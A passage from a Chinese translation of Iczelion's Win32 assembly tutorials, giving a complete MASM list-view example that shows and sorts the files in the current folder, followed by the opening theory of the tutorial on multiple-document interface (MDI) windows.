真正使得该方法能够运行的是LV_ITEM型结构体中的成员变量lParam值。当您需要排序时（譬如当您点击列的标题条时），您需要考虑好排序方案。在本例中，我们把项目的索引放到该成员变量中，这样我们可以通过发送LVM_GETITEM消息来得到项目的其它信息。注意：当项目重排序后，它们的索引也就变了。所以当重排序后，我需要在lParam参数中反应出新的索引。如果您想在用户点击列的标题条时重新排序，您需要在您的窗口过程函数中处理LVN_COLUMNCLICK通知消息。LVN_COLUMNCLICK消息是随同WM_NOTIFY消息一起发送的。

例子：

该例子创建了一个列表视图控件，并在其中显示了当前文件夹中的文件大小和文件名。缺省的视图是报告方式的，如果您点击列标题条，标题将按升/降序重新排列。您可以通过菜单选择不同的显示方式（大图标、小图标等）。当您双击一个项目时，项目的名称将显示在一个对话框中。

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comctl32.inc
includelib \masm32\lib\comctl32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

IDM_MAINMENU equ 10000
IDM_ICON equ LVS_ICON
IDM_SMALLICON equ LVS_SMALLICON
IDM_LIST equ LVS_LIST
IDM_REPORT equ LVS_REPORT

RGB macro red,green,blue
xor eax,eax
mov ah,blue
shl eax,8
mov ah,green
mov al,red
endm

.data
ClassName db "ListViewWinClass",0
AppName db "Testing a ListView Control",0
ListViewClassName db "SysListView32",0
Heading1 db "Filename",0
Heading2 db "Size",0
FileNamePattern db "*.*",0
FileNameSortOrder dd 0
SizeSortOrder dd 0
template db "%lu",0

.data?
hInstance HINSTANCE ?
hList dd ?
hMenu dd ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke WinMain, hInstance,NULL, NULL, SW_SHOWDEFAULT
invoke ExitProcess,eax
invoke InitCommonControls
WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND

mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, NULL
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,IDM_MAINMENU
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName, WS_OVERLAPPEDWINDOW,CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.while TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.break .if (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

InsertColumn proc
LOCAL lvc:LV_COLUMN

mov lvc.imask,LVCF_TEXT+LVCF_WIDTH
mov lvc.pszText,offset Heading1
mov lvc.lx,150
invoke SendMessage,hList, LVM_INSERTCOLUMN, 0, addr lvc
or lvc.imask,LVCF_FMT
mov lvc.fmt,LVCFMT_RIGHT
mov lvc.pszText,offset Heading2
mov lvc.lx,100
invoke SendMessage,hList, LVM_INSERTCOLUMN, 1 ,addr lvc
ret
InsertColumn endp

ShowFileInfo proc uses edi row:DWORD, lpFind:DWORD
LOCAL lvi:LV_ITEM
LOCAL buffer[20]:BYTE
mov edi,lpFind
assume edi:ptr WIN32_FIND_DATA
mov lvi.imask,LVIF_TEXT+LVIF_PARAM
push row
pop lvi.iItem
mov lvi.iSubItem,0
lea eax,[edi].cFileName
mov lvi.pszText,eax
push row
pop lvi.lParam
invoke SendMessage,hList, LVM_INSERTITEM,0, addr lvi
mov lvi.imask,LVIF_TEXT
inc lvi.iSubItem
invoke wsprintf,addr buffer, addr template,[edi].nFileSizeLow
lea eax,buffer
mov lvi.pszText,eax
invoke SendMessage,hList,LVM_SETITEM, 0,addr lvi
assume edi:nothing
ret
ShowFileInfo endp

FillFileInfo proc uses edi
LOCAL finddata:WIN32_FIND_DATA
LOCAL FHandle:DWORD

invoke FindFirstFile,addr FileNamePattern,addr finddata
.if eax!=INVALID_HANDLE_VALUE
mov FHandle,eax
xor edi,edi
.while eax!=0
test finddata.dwFileAttributes,FILE_ATTRIBUTE_DIRECTORY
.if ZERO?
invoke ShowFileInfo,edi, addr finddata
inc edi
.endif
invoke FindNextFile,FHandle,addr finddata
.endw
invoke FindClose,FHandle
.endif
ret
FillFileInfo endp

String2Dword proc uses ecx edi edx esi String:DWORD
LOCAL Result:DWORD

mov Result,0
mov edi,String
invoke lstrlen,String
.while eax!=0
xor edx,edx
mov dl,byte ptr [edi]
sub dl,"0"
mov esi,eax
dec esi
push eax
mov eax,edx
push ebx
mov ebx,10
.while esi > 0
mul ebx
dec esi
.endw
pop ebx
add Result,eax
pop eax
inc edi
dec eax
.endw
mov eax,Result
ret
String2Dword endp

CompareFunc proc uses edi lParam1:DWORD, lParam2:DWORD, SortType:DWORD
LOCAL buffer[256]:BYTE
LOCAL buffer1[256]:BYTE
LOCAL lvi:LV_ITEM

mov lvi.imask,LVIF_TEXT
lea eax,buffer
mov lvi.pszText,eax
mov lvi.cchTextMax,256
.if SortType==1
mov lvi.iSubItem,1
invoke SendMessage,hList,LVM_GETITEMTEXT,lParam1,addr lvi
invoke String2Dword,addr buffer
mov edi,eax
invoke SendMessage,hList,LVM_GETITEMTEXT,lParam2,addr lvi
invoke String2Dword,addr buffer
sub edi,eax
mov eax,edi
.elseif SortType==2
mov lvi.iSubItem,1
invoke SendMessage,hList,LVM_GETITEMTEXT,lParam1,addr lvi
invoke String2Dword,addr buffer
mov edi,eax
invoke SendMessage,hList,LVM_GETITEMTEXT,lParam2,addr lvi
invoke String2Dword,addr buffer
sub eax,edi
.elseif SortType==3
mov lvi.iSubItem,0
invoke SendMessage,hList,LVM_GETITEMTEXT,lParam1,addr lvi
invoke lstrcpy,addr buffer1,addr buffer
invoke SendMessage,hList,LVM_GETITEMTEXT,lParam2,addr lvi
invoke lstrcmpi,addr buffer1,addr buffer
.else
mov lvi.iSubItem,0
invoke SendMessage,hList,LVM_GETITEMTEXT,lParam1,addr lvi
invoke lstrcpy,addr buffer1,addr buffer
invoke SendMessage,hList,LVM_GETITEMTEXT,lParam2,addr lvi
invoke lstrcmpi,addr buffer,addr buffer1
.endif
ret
CompareFunc endp

UpdatelParam proc uses edi
LOCAL lvi:LV_ITEM

invoke SendMessage,hList, LVM_GETITEMCOUNT,0,0
mov edi,eax
mov lvi.imask,LVIF_PARAM
mov lvi.iSubItem,0
mov lvi.iItem,0
.while edi>0
push lvi.iItem
pop lvi.lParam
invoke SendMessage,hList, LVM_SETITEM,0,addr lvi
inc lvi.iItem
dec edi
.endw
ret
UpdatelParam endp

ShowCurrentFocus proc
LOCAL lvi:LV_ITEM
LOCAL buffer[256]:BYTE

invoke SendMessage,hList,LVM_GETNEXTITEM,-1, LVNI_FOCUSED
mov lvi.iItem,eax
mov lvi.iSubItem,0
mov lvi.imask,LVIF_TEXT
lea eax,buffer
mov lvi.pszText,eax
mov lvi.cchTextMax,256
invoke SendMessage,hList,LVM_GETITEM,0,addr lvi
invoke MessageBox,0, addr buffer,addr AppName,MB_OK
ret
ShowCurrentFocus endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.if uMsg==WM_CREATE
invoke CreateWindowEx, NULL, addr ListViewClassName, NULL, LVS_REPORT+WS_CHILD+WS_VISIBLE, 0,0,0,0,hWnd, NULL, hInstance, NULL
mov hList, eax
invoke InsertColumn
invoke FillFileInfo
RGB 255,255,255
invoke SendMessage,hList,LVM_SETTEXTCOLOR,0,eax
RGB 0,0,0
invoke SendMessage,hList,LVM_SETBKCOLOR,0,eax
RGB 0,0,0
invoke SendMessage,hList,LVM_SETTEXTBKCOLOR,0,eax
invoke GetMenu,hWnd
mov hMenu,eax
invoke CheckMenuRadioItem,hMenu,IDM_ICON,IDM_LIST, IDM_REPORT,MF_CHECKED
.elseif uMsg==WM_COMMAND
.if lParam==0
invoke GetWindowLong,hList,GWL_STYLE
and eax,not LVS_TYPEMASK
mov edx,wParam
and edx,0FFFFh
push edx
or eax,edx
invoke SetWindowLong,hList,GWL_STYLE,eax
pop edx
invoke CheckMenuRadioItem,hMenu,IDM_ICON,IDM_LIST, edx,MF_CHECKED
.endif
.elseif uMsg==WM_NOTIFY
push edi
mov edi,lParam
assume edi:ptr NMHDR
mov eax,[edi].hwndFrom
.if eax==hList
.if [edi].code==LVN_COLUMNCLICK
assume edi:ptr NM_LISTVIEW
.if [edi].iSubItem==1
.if SizeSortOrder==0 || SizeSortOrder==2
invoke SendMessage,hList,LVM_SORTITEMS,1,addr CompareFunc
invoke UpdatelParam
mov SizeSortOrder,1
.else
invoke SendMessage,hList,LVM_SORTITEMS,2,addr CompareFunc
invoke UpdatelParam
mov SizeSortOrder,2
.endif
.else
.if FileNameSortOrder==0 || FileNameSortOrder==4
invoke SendMessage,hList,LVM_SORTITEMS,3,addr CompareFunc
invoke UpdatelParam
mov FileNameSortOrder,3
.else
invoke SendMessage,hList,LVM_SORTITEMS,4,addr CompareFunc
invoke UpdatelParam
mov FileNameSortOrder,4
.endif
.endif
assume edi:ptr NMHDR
.elseif [edi].code==NM_DBLCLK
invoke ShowCurrentFocus
.endif
.endif
pop edi
.elseif uMsg==WM_SIZE
mov eax,lParam
mov edx,eax
and eax,0ffffh
shr edx,16
invoke MoveWindow,hList, 0, 0, eax,edx,TRUE
.elseif uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret
WndProc endp
end start

分析：

当主窗口创建后要做的第一件事是创建一个列表视图控件应用程序。

.if uMsg==WM_CREATE
invoke CreateWindowEx, NULL, addr ListViewClassName, NULL, LVS_REPORT+WS_CHILD+WS_VISIBLE, 0,0,0,0,hWnd, NULL, hInstance, NULL
mov hList, eax

我们调用CreateWindowEx来创建窗口，并把窗口类的名称“SysListView32”传给它。缺省的显示方式是报告方式，因为您指定了LVS_REPORT标志作为它的风格。

invoke InsertColumn

创建列表视图控件后，我们向其中插入列。

LOCAL lvc:LV_COLUMN

mov lvc.imask,LVCF_TEXT+LVCF_WIDTH
mov lvc.pszText,offset Heading1
mov lvc.lx,150
invoke SendMessage,hList, LVM_INSERTCOLUMN, 0, addr lvc

我们指定第一列的宽度和列的标题条，为了在该列中显示文件的名称，我们需要在LV_COLUMN 型结构体变量的成员变量iMask中设定标志位LVCF_TEXT 或 LVCF_WIDTH。我们设定pszText为列标题条文本字符串的值，lx设定为列的宽度（以像素点为单位）。然后我们发送LVM_INSERTCOLUMN消息给列表视图控件，并把该结构体变量传递给它。

or lvc.imask,LVCF_FMT
mov lvc.fmt,LVCFMT_RIGHT

插入完第一列后，我们再插入第二列，单击该列的标题条可以按文件的大小排序。因为我们需要右对齐文本，我们需要在成员变量fmt中指定标志位LVCFMT_RIGHT。我们还必须在成员变量iMask中除了标志位LVCF_TEXT 和 LVCF_WIDTH外还需要指定标志位LVCF_FMT。

mov lvc.pszText,offset Heading2
mov lvc.lx,100
invoke SendMessage,hList, LVM_INSERTCOLUMN, 1 ,addr lvc

剩余的代码比较简单。在pszText中放入文本字符串的地址，在lx中放入列的宽度。然后发送消息LVM_INSERTCOLUMN 给列表视图控件，在参数中同时传递列号和结构体变量的地址。

当插入完列后，我们向列表控件中加入项目。

invoke FillFileInfo

FillFileInfo 的代码如下：

FillFileInfo proc uses edi
LOCAL finddata:WIN32_FIND_DATA
LOCAL FHandle:DWORD

invoke FindFirstFile,addr FileNamePattern,addr finddata

我们调用FindFirstFile来得到第一个符合搜索标准的的文件的信息。FindFirstFile函数的原型如下

FindFirstFile proto pFileName:DWORD, pWin32_Find_Data:DWORD

pFileName 是用来匹配搜索的文件名的地址。该字符串包含了通配符。在我们的例子中是*.*，这样会搜索当前文件夹中所有的文件。
pWin32_Find_Data 是WIN32_FIND_DATA 型的结构体变量的地址，WIN32_FIND_DATA型的结构体变量将用来保存返回的文件的信息。

如果没有找到匹配的文件，该函数将在eax中返回INVALID_HANDLE_VALUE 。否则将返回一个搜索句柄，您可以用该句柄在FindNextFile函数中来搜索下一个符合条件的文件。

.if eax!=INVALID_HANDLE_VALUE
mov FHandle,eax
xor edi,edi

如果找到了一个文件，我们在一个变量中保存搜索句柄，并把寄存器edi清零，该寄存器将用作项目的索引号。

.while eax!=0
test finddata.dwFileAttributes,FILE_ATTRIBUTE_DIRECTORY
.if ZERO?

在本课中，我们将不处理文件夹，所以我们检查dwFileAttributes成员变量的值是否有FILE_ATTRIBUTE_DIRECTORY 标志，如果有，我们就忽略掉它，然后调用FindNextFile。

invoke ShowFileInfo,edi, addr finddata
inc edi
.endif
invoke FindNextFile,FHandle,addr finddata
.endw

我们调用ShowFileInfo函数包文件的名称和大小信息加到列表视图控件中去。然后让edi寄存器加一来增加项目的行号。最后我们调用FindNextFile函数在当前文件夹中继续搜索文件一直到该函数返回0为止（这意味着没有可供搜索的文件了）。

invoke FindClose,FHandle
.endif
ret
FillFileInfo endp

当前文件夹中的文件枚举完毕后，我们必须关闭搜索句柄。

先在我们看一下ShowFileInfo函数。该函数由两个参数，一个是项目的索引号（也即行号），另一个是WIN32_FIND_DATA型结构体变量的地址。

ShowFileInfo proc uses edi row:DWORD, lpFind:DWORD
LOCAL lvi:LV_ITEM
LOCAL buffer[20]:BYTE
mov edi,lpFind
assume edi:ptr WIN32_FIND_DATA

把WIN32_FIND_DATA 型结构体变量的值放到寄存器edi中。

mov lvi.imask,LVIF_TEXT+LVIF_PARAM
push row
pop lvi.iItem
mov lvi.iSubItem,0

我们将传递项目的名称和lParam的值，所以我们在iMask中放入标志位LVIF_TEXT 和LVIF_PARAM。接下来我们在iItem中放入传递进来的行号，另外由于这是主项目我们必须设置iSubItem的值等于0。

lea eax,[edi].cFileName
mov lvi.pszText,eax
push row
pop lvi.lParam

我们现在要把标签字符串的地址，在这里也就是WIN32_FIND_DATA 型结构体变量中的文件的名称放到pszText中。由于我们要完成对项目的排序，所以必须设置lParam的值，我把它设成行号值，这样我们可以根据索引值来查询项目。

invoke SendMessage,hList, LVM_INSERTITEM,0, addr lvi

设置完所有LV_ITEM型变量中的值后，我们发送LVM_INSERTITEM消息给列表视图控件来把项目插入到其中。

mov lvi.imask,LVIF_TEXT
inc lvi.iSubItem
invoke wsprintf,addr buffer, addr template,[edi].nFileSizeLow
lea eax,buffer
mov lvi.pszText,eax

我们将把子项目插入到第二列。一个子项目只能有一个标签。这样我们在iMask中指定LVIF_TEXT标志位。接着我们指定子项目所在的列，本例中我们通过将iSubItem加一使得该值等于1。标签值是文件的大小，为了转换成文本我们调用wsprintf函数，然后把文本的地址放到pszText中去。

invoke SendMessage,hList,LVM_SETITEM, 0,addr lvi
assume edi:nothing
ret
ShowFileInfo endp

当LV_ITEM型变量中的值设定好之后，我们向列表视图控件发送LVM_SETITEM消息，并一同把LV_ITEM变量的地址传过去。注意：发送的消息是LV_ITEM而不是LVM_INSERTITEM，因为我们插入的是子项目，子项目不是真正的项目而是主项目的属性。所以我们这时是在设定项目的属性，而不是加入一个项目。

当所有的项目都插入到列表视图控件后，我们设定它的文本和背景颜色。

RGB 255,255,255
invoke SendMessage,hList,LVM_SETTEXTCOLOR,0,eax
RGB 0,0,0
invoke SendMessage,hList,LVM_SETBKCOLOR,0,eax
RGB 0,0,0
invoke SendMessage,hList,LVM_SETTEXTBKCOLOR,0,eax

我们用RGB（R---Red G---Green B---Blue）来把三色转换并放到eax中。我们通过发送LVM_SETTEXTCOLOR 和 LVM_SETTEXTBKCOLOR 消息来设定文本的前景和背景色。

invoke GetMenu,hWnd
mov hMenu,eax
invoke CheckMenuRadioItem,hMenu,IDM_ICON,IDM_LIST, IDM_REPORT,MF_CHECKED

我们将让用户通过菜单来选择它想要的显示方式。这样我们必须先得到菜单的句柄。我了让用户跟踪当前的视图，我们在菜单中放入一组单选按钮。我们可以调用CheckMenuRadioItem函数，该函数将把一个单选按钮放到一个菜单项前。

注意我们创建列表视图控件时把它的宽度和高度都设成为0。当父窗口改变大小时，它将同时改变大小。这样我们可以让列表视图总是随着主窗口改变。子我们的例子中，我们让列表视图填充整个客户区。

.elseif uMsg==WM_SIZE
mov eax,lParam
mov edx,eax
and eax,0ffffh
shr edx,16
invoke MoveWindow,hList, 0, 0, eax,edx,TRUE

当父窗口接收到了WM_SIZE消息后，lParam的底字部分包含了客户区新的宽和高。让后我们调用MoveWindow来改变列表视图控件的大小使得它覆盖整个的客户区。

当用户通过菜单选择了一种选择方式，我们必须相应地改变列表视图中的显示方式。我们调用SetWindowLong函数来设定新的风格。

.elseif uMsg==WM_COMMAND
.if lParam==0
invoke GetWindowLong,hList,GWL_STYLE
and eax,not LVS_TYPEMASK

首先得到当前的风格，然后清除旧的风格。LVS_TYPEMASK 是LVS_ICON+LVS_SMALLICON+LVS_LIST+LVS_REPORT四种风格的集合。这样当我们用当前的风格“与”“not LVS_TYPEMASK”就等于清除了当前的显示风格。

在设计菜单时，我们使用了一些小技巧。我们包显示风格的常数串当作菜单的ID号。

IDM_ICON equ LVS_ICON
IDM_SMALLICON equ LVS_SMALLICON
IDM_LIST equ LVS_LIST
IDM_REPORT equ LVS_REPORT

这样当父窗口接收到WM_COMMAND消息时，希望显示的风格值会当成菜单的ID号传递过来。

mov edx,wParam
and edx,0FFFFh

在wParam中的低字部分是欲显示的风格，我们所需要做的只是把高字部分清0。

push edx
or eax,edx

我们把希望显示的风格加到列表视图的风格中去（已经去除了旧的风格）。

invoke SetWindowLong,hList,GWL_STYLE,eax

调用SetWindowLong函数来设定新的风格。

pop edx
invoke CheckMenuRadioItem,hMenu,IDM_ICON,IDM_LIST, edx,MF_CHECKED
.endif

我们需要在被选择的显示方式前放入单选按钮。如果要排序，我们必须处理WM_NOTIFY消息。

.elseif uMsg==WM_NOTIFY
push edi
mov edi,lParam
assume edi:ptr NMHDR
mov eax,[edi].hwndFrom
.if eax==hList

当我们接收到了WM_NOTIFY 消息后，lParam包含了指向NMHDR型结构体变量的指针。我们通过把列表视图控件的值和NMHDR型结构体变量中的hwndFrom成员变量的值比较来判断，如果相等的话我们就可以确定消息是列表视图控件发送的。

.if [edi].code==LVN_COLUMNCLICK
assume edi:ptr NM_LISTVIEW

如果通知消息是列表视图控件发送的，我们检测该消息是否是LVN_COLUMNCLICK。如果是，它意味着用户点击了列标题条。在接收到LVN_COLUMNCLICK消息后，我们假设lParam参数包含NM_LISTVIEW型结构体变量的指针，NM_LISTVIEW型结构体是NMHDR型结构体的扩展。我们需要知道用户单击了那一列，在iSubItem中的值即是列号，列的编号是从0开始的。

.if [edi].iSubItem==1
.if SizeSortOrder==0 || SizeSortOrder==2

在这里iSubItem的值是1，它表示用户点击的是第二列，即文件的大小。我们用状态变量来保持当前的排序顺序。0代表不用排序，1代表升序，2代表降序。如果该列中的项目/子项目以前没有排序或为降序，我们就把它设成升序。

invoke SendMessage,hList,LVM_SORTITEMS,1,addr CompareFunc

我们发送消息LVM_SORTITEMS给列表视图控件，在wParam中传递1，在lParam中传递比较函数的参数。注意wParam中的值是用户定义的，用户可以按自己的需要来解释，这里我们把它用作排序的方法。我们先来看看比较函数：

CompareFunc proc uses edi lParam1:DWORD, lParam2:DWORD, SortType:DWORD
LOCAL buffer[256]:BYTE
LOCAL buffer1[256]:BYTE
LOCAL lvi:LV_ITEM

mov lvi.imask,LVIF_TEXT
lea eax,buffer
mov lvi.pszText,eax
mov lvi.cchTextMax,256

列表视图控件将传递需要比较的两个项目的lParam（LV_ITEM型结构体变量的成员变量）比较函数。您还记得吗？我们在lParam中放置了醒目的索引号。这样我们利用这些索引号查询列表视图来得到项目信息。我们需要的消息是项目/子项目的标签文本。为此我们准备好LV_ITEM 型结构体变量并在iMask中设置标志位LVIF_TEXT ，在pszText中设置缓冲区的地址，在cchTextMax中设置缓冲区的大小。

.if SortType==1
mov lvi.iSubItem,1
invoke SendMessage,hList,LVM_GETITEMTEXT,lParam1,addr lvi

如果SortType的值为1或2，我们知道点击了那一列，1代表根据文件的大小按升序排列所有的项目。2的意思相反。这样我们指定iSubItem为1（代表文件大小列）然后发送LVM_GETITEMTEXT 消息给列表视图控件来得到在项目的标签文本串。

invoke String2Dword,addr buffer
mov edi,eax

调用子定义的String2Dword函数来把字符串转换成一个DWORD值。它将在eax中返回转换后的值，我们把它保存在edi中以便以后比较用。

invoke SendMessage,hList,LVM_GETITEMTEXT,lParam2,addr lvi
invoke String2Dword,addr buffer
sub edi,eax
mov eax,edi

对lParam2 中的值做同样的操作。当我们得到了两个文件的大小后，就可以比较它们了。比较的规则如下：

  • 如果第一个项目放在前面，在eax中返回一个负值
  • 如果第二个项目放在前面，在eax中返回一个正值
  • 如果相等，在eax中返回0

在我们这里，我们想按升序排列，所以我们只要简单地将第二个项目的文件大小减去第一个项目的文件大小，然后返回放在eax中的值。

.elseif SortType==3
mov lvi.iSubItem,0
invoke SendMessage,hList,LVM_GETITEMTEXT,lParam1,addr lvi
invoke lstrcpy,addr buffer1,addr buffer
invoke SendMessage,hList,LVM_GETITEMTEXT,lParam2,addr lvi
invoke lstrcmpi,addr buffer1,addr buffer

当用户点击文件名字列时，我们必须比较文件的名字。我们先得到文件的名字，然后调用lstrcmpi函数来比较，然后只要简单返回lstrcmpi的值，因为该函数比较使用的规则和我们的相同。

当项目排序后，我们调用UpdateParam函数来更新所有项目的lParam的值来反应出最新的改变。

invoke UpdatelParam
mov SizeSortOrder,1

该函数简单地枚举列表视图中所有的项目并且把它们lParam更新成项目的索引号。

.elseif [edi].code==NM_DBLCLK
invoke ShowCurrentFocus
.endif

如果用户双击某个项目时，我们将显示一个消息框，上面有该项目的有关标签值。我们必须检查NMHDR 中的code值是否是 NM_DBLCLK。如果是，我们就得到它的标签值并显示在一个消息框中。

ShowCurrentFocus proc
LOCAL lvi:LV_ITEM
LOCAL buffer[256]:BYTE

invoke SendMessage,hList,LVM_GETNEXTITEM,-1, LVNI_FOCUSED

我们是增么怎么知道某个项目被双击的呢？当单击或双击某个项目时，它的状态被设成“焦点”。即使有多个项目被选中，也仅有一个项目有焦点。我们的工作就是去找到那个有焦点的项目。我们发送LVM_GETNEXTITEM消息给列表视图控件，在lParam中指定期望的状态。如果wParam中时-1的话，表示要搜索所有的项目。有焦点的项目第索引号在eax中返回。

mov lvi.iItem,eax
mov lvi.iSubItem,0
mov lvi.imask,LVIF_TEXT
lea eax,buffer
mov lvi.pszText,eax
mov lvi.cchTextMax,256
invoke SendMessage,hList,LVM_GETITEM,0,addr lvi

发送LVM_GETITEM消息来得到标签。

invoke MessageBox,0, addr buffer,addr AppName,MB_OK

最后我们在一个消息框中显示标签。

如果想在列表视图控件中显示图标，您可以阅读关于树型视图控件的课程。它们的步骤基本上是一样的。

翻译：Lxx.阿龙，校对：LuoYunBin's Win32 ASM Page， http://asm.yeah.net/


Iczelion's win32 asm tutorial

教程32:多文档界面(MDI)

本教程告诉你怎样创建MDI应用程序.事实上并不是很困难.下载例子.

理论:

多文档界面(MDI)是同一时刻处理多个文档的应用程序的一个规范. 你很熟悉记事本.它是单文档界面(SDI)的一个例子.记事本在一个时候只能处理一个文档.假如你希望打开另一个文档,你首先必须关闭你前面打开的那一个.你可以想象这有多麻烦. 和Microsoft Word相比:Word可以随心所欲的在同一时刻打开任意多个文档,而且可以让用户选择使用哪一个文档.Microsoft Word 是多文档界面(MDI)的一个例子.

MDI应用程序有几个显著的特征:我列举其中的一些:

  • 有主窗口,在客户区可以有多个子窗口.所有的子窗口都位于客户区.
  • 最小化一个子窗口,它最小化到了主窗口的客户区的左下角.
  • 最大化一个子窗口,它的标题和主窗口的标题合并到了一起.
  • 你可以通过按Ctrl+F4键来关闭子窗口,还可以通过按Ctrl+Tab键在子窗口之间来切换.

包含子窗口的主窗口被称为框架窗口.主窗口的客户区是子窗口活动的地方,因此有了'框架'这个名字.主窗口的任务要比普通窗口精细一些,因为它需要为MDI处理一些协调工作.

为了在你的客户区控制任意多个数目的子窗口,你需要一个特殊的窗口:客户窗口.你可以把客户窗口看成是覆盖框架窗口的整个客户区的一个透明的窗口.客户窗口才是所有MDI子窗口的实际的父亲.客户窗口是MDI子窗口的真实的监督者.

框架窗口

|

客户窗口

|

|

|

|

|

|

MDI 自窗口1

MDI 自窗口 2

MDI自窗口3

MDI自窗口4

MDI 自窗口 n

图1.一个MDI应用程序的层次结构

创建框架窗口

现在我们将注意力放到细节上来.首先你需要创建框架窗口. 创建框架窗口的方法和普通窗口是相同的:调用CreateWindowEx. 和普通窗口相比,有两个主要的不同.

第一个不同是你必须调用DefFrameProc来处理你的窗口不想处理的窗口信息而不是调用DefWindowProc.这是让Windows为你作的保持一个MDI应用程序的垃圾任务的一个方法.假如你忘记使用DefFrameProc,你的应用程序将不具有MDI的功能. DefFrameProc具有下列语法:

DefFrameProc proc hwndFrame:DWORD,
hwndClient:DWORD,
 uMsg:DWORD,
wParam:DWORD,
lParam:DWORD

假如你将 DefFrameProc 和 DefWindowProc作一个对比,你将会注意到它们之间的唯一的不同在于DefFrameProc有5个参数,而DefWindowProc只有4个.这个增加的参数是客户窗口的句柄.这个句柄是必须的,有了它Windows才可以发送MDI-相关的消息给客户窗口.

第二个不同是你必须在你的框架窗口的消息循环中调用 TranslateMDISysAccel .假如你希望Windows为你处理MDI相关的加速键,比如Ctrl+F4,Ctrl+Tab,那么这是必须的.它具有下列语法:

TranslateMDISysAccel proc hwndClient:DWORD,
                                                 lpMsg:DWORD

第一个参数是客户窗口的句柄.对此你应该不会觉得惊讶.因为客户窗口是所有MDI子窗口的父亲. 第二个参数是你通过调用GetMessage获得的MSG框架的地址. 我们的想法是传递MSG结构给客户窗口,这样客户窗口可以检测在MSG结构中所包含的MDI相关的按键是不是按下去了.假如是的话, 客户窗口处理这个信息,然后返回一个非零值,否则返回一个假值..

创建框架窗口的步骤总结如下:

  1. 像平常一样填写 WNDCLASSEX 结构.
  2. 通过调用 RegisterClassEx注册框架窗口类.
  3. 通过调用CreateWindowEx创建框架窗口.
  4. 在消息循环中调用TranslateMDISysAccel.
  5. 在窗口过程中,将未处理的消息传递给 DefFrameProc 而不是DefWindowProc.

创建客户窗口

现在我们有了框架窗口,我们可以开始创建客户窗口了. 客户窗口类是由Windows预先注册的. 类的名称为"MDICLIENT". 你同样也需要将 CLIENTCREATESTRUCT 的地址传递给 CreateWindowEx. 这个结构具有以下定义:

CLIENTCREATESTRUCT struct
        hWindowMenu    dd ?
        idFirstChild    dd ?
CLIENTCREATESTRUCT ends

hWindowMenu 是子菜单的句柄,这个子菜单显示Windows将要添加的MDI子窗口名称列表. 我们需要对这一功能进行一点解释.假如你以前曾经使用过类似Microsoft Word的MDI 应用程序,你将会注意到有一个名称为"窗口"的子菜单. 这个菜单一旦激活的话,将会在底部显示出和窗口管理相关的各种各样的菜单项, 还有当前打开的MDI子窗口的列表. 这个列表是由Windows自己内部保持的. 你不需要为它作任何特殊的事情. 仅仅只在需要在hWindowMenu 中传递你所希望显示列表的子菜单的句柄, Windows 将会处理剩下的事情. 注意这个子菜单可以是任何的子菜单:它并不一定要是名称为"窗口"的子菜单. 重要的是你应该传递你希望显示窗口列表的子菜单的句柄. 假如你不想要这个列表,你就给 hWindowMenu 赋一个NULL的值就行了. 你可以通过调用GetSubMenu来获得子菜单的句柄.

idFirstChild 是第一个MDI子窗口的标识号. Windows为应用程序所创建的每一个新的MDI子窗口相应的增加标识号. 举个例子, 假如你传递100给这个域, 第一个MDI子窗口将会有一个值为100的标识符, 那么第二个MDI子窗口也就会有一个值为101的标识符, 如此这样下去. 当从窗口列表中选择MDI子窗口时, 被选择的MDI子窗口的标识符通过WM_COMMAND传递给框架窗口. 正常情况下,你将传递"未处理"的WM_COMMAND消息给DefFrameProc. 我用"未处理"这个词语,是因为窗口列表中的菜单项不是由你的应用程序创建的, 这样你的应用程序不知道它们的标识符,而且也没有它们的句柄. 这是MDI框架窗口又一个特殊的地方. 假如你有窗口列表的话,你必须像这样来修改你的WM_COMMAND句柄:

.elseif uMsg==WM_COMMAND
      .if lParam==0			; 这条消息是由菜单产生的
          mov eax,wParam
          .if ax==IDM_CASCADE
                 .....
          .elseif ax==IDM_TILEVERT
                .....
          .else
                invoke DefFrameProc, hwndFrame, hwndClient, uMsg,wParam, lParam
                ret
          .endif

一般来说,你可以忽略未处理的消息. 但是在MDI的情况下,如果你忽略它们, 当用户点击窗口列表中的一个MDI子窗口的名称时,,这个窗口不会被激活. 你需要将这些消息传递给DefFrameProc 这样它们才会得到适当的处理.

idFirstChild 赋值的注意之处: 你不能使用0. 你窗口列表将会表现的不正常. 举个例子, 即使某一个MDI子窗口被激活的话, 窗口列表中的这个MDI子窗口名字前的复选标记也不会显现. 我们可以选择一个安全的值,比如100或是一个比100大的值.

